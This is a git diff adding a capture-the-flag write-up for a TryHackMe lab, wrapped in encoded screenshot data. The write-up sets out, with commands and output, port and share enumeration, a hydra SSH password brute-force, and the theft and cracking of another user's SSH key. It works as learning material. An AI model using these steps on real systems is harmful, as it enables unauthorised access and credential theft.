zM((j34e{2Pg=nkZX|;k?#+@m&apb$Vb_rxWN*mSq+PVuxL@4hLF5-6yf!bGuv&)dB zSS~C&ECRxGId1G?C5@66eu=`olM#NFy3<+NQ8XHqeNy`6F?vdVAlzo~##73m`?=rn zsI0}T&Htp7H;>x&iQfv&oyhVS!>PuzURH4dr}8 zEcS@fy{@H4wMW>axW37!t2Su5iFSVxqqkjeajpK-#^U2sL6DBqH^uiO9s1b&N0;Q( z$-^GpMffH?O17#Ze%IB5sl!`>>A8_g;as=Z#~e)F71Y49$p~YoBjd}9tq!WMveA?g zq=n!QAKYb-n@6`5u%_@idn=p!MXIt9uiYPYf^ks~yaY^tK>Wr~a?o8BvkaRndlb?% zK1dp1!VswZL~Qd+JV-TC38@r%>}sS(H)_Rkp! zxCiss!ll_HPYMQD3boAHpEt%_R*i(7NoX(f-f9$|$v)1f^Ve4yKUPVf_kxT-1SfsZX>3?!C94LB1%@tV`!G&(=~UYfy*t29pk zW~vU=XLg0qCsy_x0N!Zb?GK4)T-uWgTeDvrzGvRPnWfItJnS_Ob_n}FSruf=(&&zC1Im>po zRwgI;0>4HW9B?UUTsRkOb%Ga<^A%!z48r0O5_K3SPiAzeufpeu>jYzi1@T6@FlVm- zy+U77`otZ0R75qW5rF(n2$*UhqXD^;1;zu(76# zh%Qkf{wYVwNSsc4b+hDw z>l)nO-w?W{oXS$)C`7X9CSzSvx?Aq8>S#+qV1@;8B>`YY56@e=rS6E7k~ddBc&yKe zW`~zXp3b?A`-o}Y+iN3M5rv|sjy%C(G>L!PF3V22WPC6{hC44KMi-+5YK(%9k-^*A z-=sP%#Q3O2d-s2vZ}<|$>0_KW5S2cn zmK=+*gGi2kVSNWAZK_4=ma;AEB?qF;ZbE@li4g52-Q^;xGb3+*3wDT`Fk{RdOfKCsSXPCOXn8qS;+ zr6fopvN9}4@^DO&nr=L$;LX9bV#wBnNs;&Sr-2BSQBj@JKS?(y0OO{_Nw{sEd1Oo#Of3 zV1&Af2QNd!`DW?Opr>35Z9+cA`SQc@KCZ_;#e_%8`rymP&CWRLhFIzb6s}4!9G(I9 z{OWPPNVw{6kn#IBkcKzF%3BrJJ)dR`*dPzFEj7Bn9QA($AdmK2@pYcVo`EK(HJ0Ia z*nvgvh6U#!pNfNlsy}f_zRQ+WcN?d}EgHG-+nUJ2M-xnHI$252uVE0X+VQ6^>x+OA zegsdcJFzcKdyT6iANpXtAh+M^9}{a&xcigZvI4<-Zn1IXLi z-^L$jGqrKb(cugj<;92*jq$%-%m*X^AH6QXR?mB*sWy@_D2d2FCD&LDOJxe3FY6

    ~3zc}hU;BBkglu#P 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 literal 0 HcmV?d00001 diff --git a/writeups/basic-pentesting/index.html b/writeups/basic-pentesting/index.html new file mode 100644 index 0000000..b424e90 --- /dev/null +++ b/writeups/basic-pentesting/index.html @@ -0,0 +1,219 @@ +Basic Pentesting · SecureCircuit +

    1. Writeups/

    Basic Pentesting

    ·1607 words·8 mins

    TryHackMe Room: https://tryhackme.com/room/basicpentestingjt

    This room requires that you know the following:

    • SSH
    • SMB Enumeration
    • Web Directory Enumeration
    • Brute Forcing & Hash Cracking
    • Some basic privilege escalation

    Personally, this room wasn’t too difficult, though I did get stuck on privilege escalation for a bit.

    Enumeration #

    nmap -sS -p- -v -oA nmap/initial $IP
    +
    Host is up, received echo-reply ttl 63 (0.15s latency).
    +Not shown: 65529 closed tcp ports (reset)
    +PORT     STATE SERVICE      REASON
    +22/tcp   open  ssh          syn-ack ttl 63
    +80/tcp   open  http         syn-ack ttl 63
    +139/tcp  open  netbios-ssn  syn-ack ttl 63
    +445/tcp  open  microsoft-ds syn-ack ttl 63
    +8009/tcp open  ajp13        syn-ack ttl 63
    +8080/tcp open  http-proxy   syn-ack ttl 63
    +
    +Read data files from: /usr/bin/../share/nmap
    +

    From this initial scan, we know which ports are open and a rudimentary idea of what services they host.

    In the above scan, I’ve highlighted some of the services which we can also start scans for to save some time.

    Before we start scans for specific ports, we can start an nmap scan to get more detailed information about the ports.

    nmap -sS -sC -sV -O -p 22,80,139,445,8009,8080 $IP
    +

    Now we can also start scans for the services highlighted above:

    To find directories on the web server:

    feroxbuster --url http://$IP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o web_dirs --auto-tune -C 404
    +

    To enumerate Samba:

    enum4linux $IP
    +

    While the scans are running, we can do some manual enumeration.

    Manual Enumeration #

    Loading up http://$IP:80, we can see the following maintenance notice.

    Maintenance Notice

    We can try looking for a robots.txt file by visiting http://$IP/robots.txt

    robots.txt

    Here we can see some interesting information, we now know that the Apache Version is 2.4.18, this will come into use later when we are looking for vulnerabilities.

    Scan Results #

    For the sake of brevity, I’ve cut out decent portions of the scan results, and only kept what I consider to be interesting (Though considering I am learning too, I might leave out some silver bullet)

    NMAP Scan Results:

    Host is up, received echo-reply ttl 63 (0.15s latency).
    +
    +PORT     STATE SERVICE     REASON         VERSION
    +22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
    +80/tcp   open  http        syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
    +|_http-title: Site doesn't have a title (text/html).
    +| http-methods: 
    +|_  Supported Methods: POST OPTIONS GET HEAD
    +|_http-server-header: Apache/2.4.18 (Ubuntu)
    +139/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    +445/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
    +8009/tcp open  ajp13       syn-ack ttl 63 Apache Jserv (Protocol v1.3)
    +| ajp-methods: 
    +|_  Supported methods: GET HEAD POST OPTIONS
    +8080/tcp open  http        syn-ack ttl 63 Apache Tomcat 9.0.7
    +| http-methods: 
    +|_  Supported Methods: GET HEAD POST OPTIONS
    +|_http-favicon: Apache Tomcat
    +|_http-title: Apache Tomcat/9.0.7
    +Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 5.4 (94%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
    +
    +Host script results:
    +| smb2-security-mode: 
    +|   3:1:1: 
    +|_    Message signing enabled but not required
    +| smb2-time: 
    +|   date: 2024-01-04T05:31:34
    +|_  start_date: N/A
    +|_clock-skew: mean: 1h40m00s, deviation: 2h53m14s, median: 0s
    +| smb-security-mode: 
    +|   account_used: guest
    +|   authentication_level: user
    +|   challenge_response: supported
    +|_  message_signing: disabled (dangerous, but default)
    +| nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
    +| Names:
    +|   BASIC2<00>           Flags: <unique><active>
    +|   BASIC2<03>           Flags: <unique><active>
    +|   BASIC2<20>           Flags: <unique><active>
    +|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
    +|   WORKGROUP<00>        Flags: <group><active>
    +|   WORKGROUP<1d>        Flags: <unique><active>
    +|   WORKGROUP<1e>        Flags: <group><active>
    +| smb-os-discovery: 
    +|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
    +|   Computer name: basic2
    +|   NetBIOS computer name: BASIC2\x00
    +|   Domain name: \x00
    +|   FQDN: basic2
    +|_  System time: 2024-01-04T00:31:36-05:00
    +

    Feroxbuster scan results:

    200      GET       10l       24w      158c http://$IP/
    +200      GET        7l       42w      235c http://$IP/development/j.txt
    +200      GET        9l       89w      483c http://$IP/development/dev.txt
    +301      GET        9l       28w      318c http://$IP/development => http://$IP/development/
    +

    http://$IP/development/j.txt

    The user Jay seems to have weak credentials, we could attempt to brute force the password.

    http://$IP/development/dev.txt

    Enum4Linux Scan Results:

     =================================( Share Enumeration on $IP )=================================
    +                                                                                                                                                                                                              
    +        Sharename       Type      Comment
    +        ---------       ----      -------
    +        Anonymous       Disk      
    +        IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
    +Reconnecting with SMB1 for workgroup listing.
    +
    +        Server               Comment
    +        ---------            -------
    +
    +        Workgroup            Master
    +        ---------            -------
    +        WORKGROUP            BASIC2
    +
    +[+] Attempting to map shares on $IP                                                                                                                                                                 
    +                                                                                                                                                                                                              
    +//$IP/Anonymous       Mapping: OK Listing: OK Writing: N/A                                                                                                                                          
    +
    +[E] Can't understand response:                                                                                                                                                                                
    +                                                                                                                                                                                                              
    +NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*                                                                                                                                                                    
    +//$IP/IPC$    Mapping: N/A Listing: N/A Writing: N/A
    +
    +                                                                                                                                                                                                              
    + ==================( Users on $IP via RID cycling (RIDS: 500-550,1000-1050) )==================
    +                                                                                                                                                                                                              
    +[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                                                   
    +                                                                                                                                                                                                              
    +S-1-22-1-1000 Unix User\kay (Local User)                                                                                                                                                                      
    +S-1-22-1-1001 Unix User\jan (Local User)
    +
    +[+] Enumerating users using SID S-1-5-32 and logon username '', password ''                                                                                                                                   
    +                                                                                                                                                                                                              
    +S-1-5-32-544 BUILTIN\Administrators (Local Group)                                                                                                                                                             
    +S-1-5-32-545 BUILTIN\Users (Local Group)
    +S-1-5-32-546 BUILTIN\Guests (Local Group)
    +S-1-5-32-547 BUILTIN\Power Users (Local Group)
    +S-1-5-32-548 BUILTIN\Account Operators (Local Group)
    +S-1-5-32-549 BUILTIN\Server Operators (Local Group)
    +S-1-5-32-550 BUILTIN\Print Operators (Local Group)
    +
    +[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username '', password ''                                                                                                  
    +                                                                                                                                                                                                              
    +S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)                                                                                                                                      
    +S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)
    +

    We could login to the Anonymous Samba Share using smbclient, however since it gave me no new information, I have omitted it.

    Enumeration Summary #

    • Users
      • Jan (Has weak credentials)
      • Kay
    • Services: (Ubuntu Server)
      • Apache 2.4.18 (Port 80)
      • OpenSSH 7.2p2 (Port 80)
      • Samba 4.3.11 (Port 139 & 445)
      • Apache Tomcat 9.0.7 (Port 8080)

    Research #

    Before we go to check for vulnerabilities in the services, we can start SSH bruteforcing for the user Jan to save some time.

    hydra -l jan -P /usr/share/wordlists/rockyou.txt -f -v -V -t 4 $IP ssh
    +

    Apache 2.4.18 #

    searchsploit Apache
    +

    Here we find a few results that may be useful later on:

    Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege escalation
    +Apache 2.4.x - Buffer Overflow
    +Apache 2.x - Memory Leak
    +Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak
    +

    OpenSSH 7.2p2 #

    searchsploit openssh
    +
    OpenSSH 7.2p2 - Username Enumeration 
    +OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation
    +

    Samba 4.3.11 #

    searchsploit Samba
    +
    Samba 3.5.0 < 4.4.14/4.5.10/4.6.4 - 'is_known_pipename()' Arbitrary Module Load (Metasploit)
    +

    Initial Acess #

    Password Brute Force Results

    We can gain initial access using the bruteforced credentials:

    ssh -l jan $IP
    +

    Privilege Escalation #

    jan@basic2:~$ pwd 
    +/home/jan
    +jan@basic2:~$ ls -la 
    +total 12
    +drwxr-xr-x 2 root root 4096 Apr 23  2018 .
    +drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
    +-rw------- 1 root jan    47 Apr 23  2018 .lesshst
    +jan@basic2:~$ cd ..
    +jan@basic2:/home$ ls 
    +jan  kay
    +jan@basic2:/home$ ls -la 
    +total 16
    +drwxr-xr-x  4 root root 4096 Apr 19  2018 .
    +drwxr-xr-x 24 root root 4096 Apr 23  2018 ..
    +drwxr-xr-x  2 root root 4096 Apr 23  2018 jan
    +drwxr-xr-x  5 kay  kay  4096 Apr 23  2018 kay
    +jan@basic2:/home$ cd kay/
    +jan@basic2:/home/kay$ ls -la 
    +total 48
    +drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
    +drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
    +-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
    +-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
    +-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
    +drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
    +-rw------- 1 root kay   119 Apr 23  2018 .lesshst
    +drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
    +-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
    +-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
    +drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
    +-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
    +-rw------- 1 root kay   538 Apr 23  2018 .viminfo
    +

    Not a lot to look at in the home directory. Surprisingly the home folder for jan is owned by root, and we can only read and execute.

    However, the .ssh direcotry has read access, if we find a private key we could attempt to login as user kay

    Score !!!

    jan@basic2:/home/kay/.ssh$ ls 
    +authorized_keys  id_rsa  id_rsa.pub
    +jan@basic2:/home/kay/.ssh$ cat id_rsa
    +-----BEGIN RSA PRIVATE KEY-----
    +Proc-Type: 4,ENCRYPTED
    +DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
    +
    +[REDACTED]
    +
    +-----END RSA PRIVATE KEY-----
    +

    Copying the key to our machine, and setting proper permissions chmod 400 id_rsa, we can now attempt to login as user kay.

    $ ssh 10.10.19.163 -l kay -i key 
    +Enter passphrase for key 'key': 
    +kay@10.10.19.163's password: 
    +Permission denied, please try again.
    +kay@10.10.19.163's password: 
    +Permission denied, please try again.
    +kay@10.10.19.163's password: 
    +kay@10.10.19.163: Permission denied (publickey,password).
    +

    Sadly, the key is password protected. We can try to crack the key and in the meantime, we can look at other privilege escalation vectors.

    To crack the key, we can use John the Ripper, first we need to convert the SSH key to a hash, to do this we use ssh2john.py

    python3 ssh2jobn.py id_rsa > id_rsa.hash
    +

    Once we have our hash, we can crack it using John the Ripper

    john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
    +

    The hash is an MD5 hash, and only took a few seconds to crack.

    Using default input encoding: UTF-8
    +Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
    +Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
    +Cost 2 (iteration count) is 1 for all loaded hashes
    +Will run 4 OpenMP threads
    +Press 'q' or Ctrl-C to abort, almost any other key for status
    +*******          (key)     
    +1g 0:00:00:00 DONE (2024-01-05 06:52) 12.50g/s 1034Kp/s 1034Kc/s 1034KC/s behlat..bammer
    +Use the "--show" option to display all of the cracked passwords reliably
    +Session completed.
    +

    Using the cracked SSH key password, we can login to the user kay

    kay@basic2:~$ ls 
    +pass.bak
    +kay@basic2:~$ cat pass.bak 
    +********************************************************
    +

    Logging in, we can read the pass.bak file, and complete the room

    Self Review #

    This is the section where I analyze my own methodoloy, look at other writeups, find what I might have missed and do my best to learn from these mistakes.

    After reading several writeups, here are some writeups that were useful:

    \ No newline at end of file diff --git a/writeups/basic-pentesting/jay.txt.png b/writeups/basic-pentesting/jay.txt.png new file mode 100644 index 0000000000000000000000000000000000000000..a24bdd1cd82b073683773c6ea2722eb47a95b47c GIT binary patch literal 18607 zcmdSBWmp|O8!e1G#frNW3dP-}&K*W8TbOXlN0?2 zRys_u2mB*zpdxN4B?U$UT*HAufTM#!zD5Cl!2(Rcp#HfA1EU1K!N4HX!T)zR9pXQC zAr{gh|8or%@EQ@F+rb3LMAbw=#a=~9l3UNpf?h}8O4oqi*~0oY0vN9|H*jfTV6Q{s zY+-I`$L-8V_D>9M;QBR~fsEvzDE4N2WGYg!B*Ip<1|;nCjP#6T{0Jl@B)qozhTL)@ zpnoR^{^KJvwzs$DW?*n~a-w%)p|`R%VqoIp;$mQAW?*Kf17gtGxmeokIMZ3$k^d`` z|KuZLV5etmVr_3?Wl8dyua2&jgFPP^+3SP;`}41I+M5{u?@5++|E?BLL59~m3{3Ql z4FAm=NXq*f$}MASVgNk(HGh64-hX2L754Av@G`tU{Ex!?tET^i0#)Tl;AQx4v+*O~ zYOcY8feC_%iwG$=gCC{9I%9Uv^n@Xhc|v%Rk|-7+&@^Lvj~4wvAQLMaFM5kvPTCwN zc0%&L8Q(PqtAQ2zOE{K78w}iv3)S&9Wxdmh6pNozD%D(bhQ$2jjR8aWBRWlUO@n{+45Sd$Npkr=iWmsycccO#VI}@o 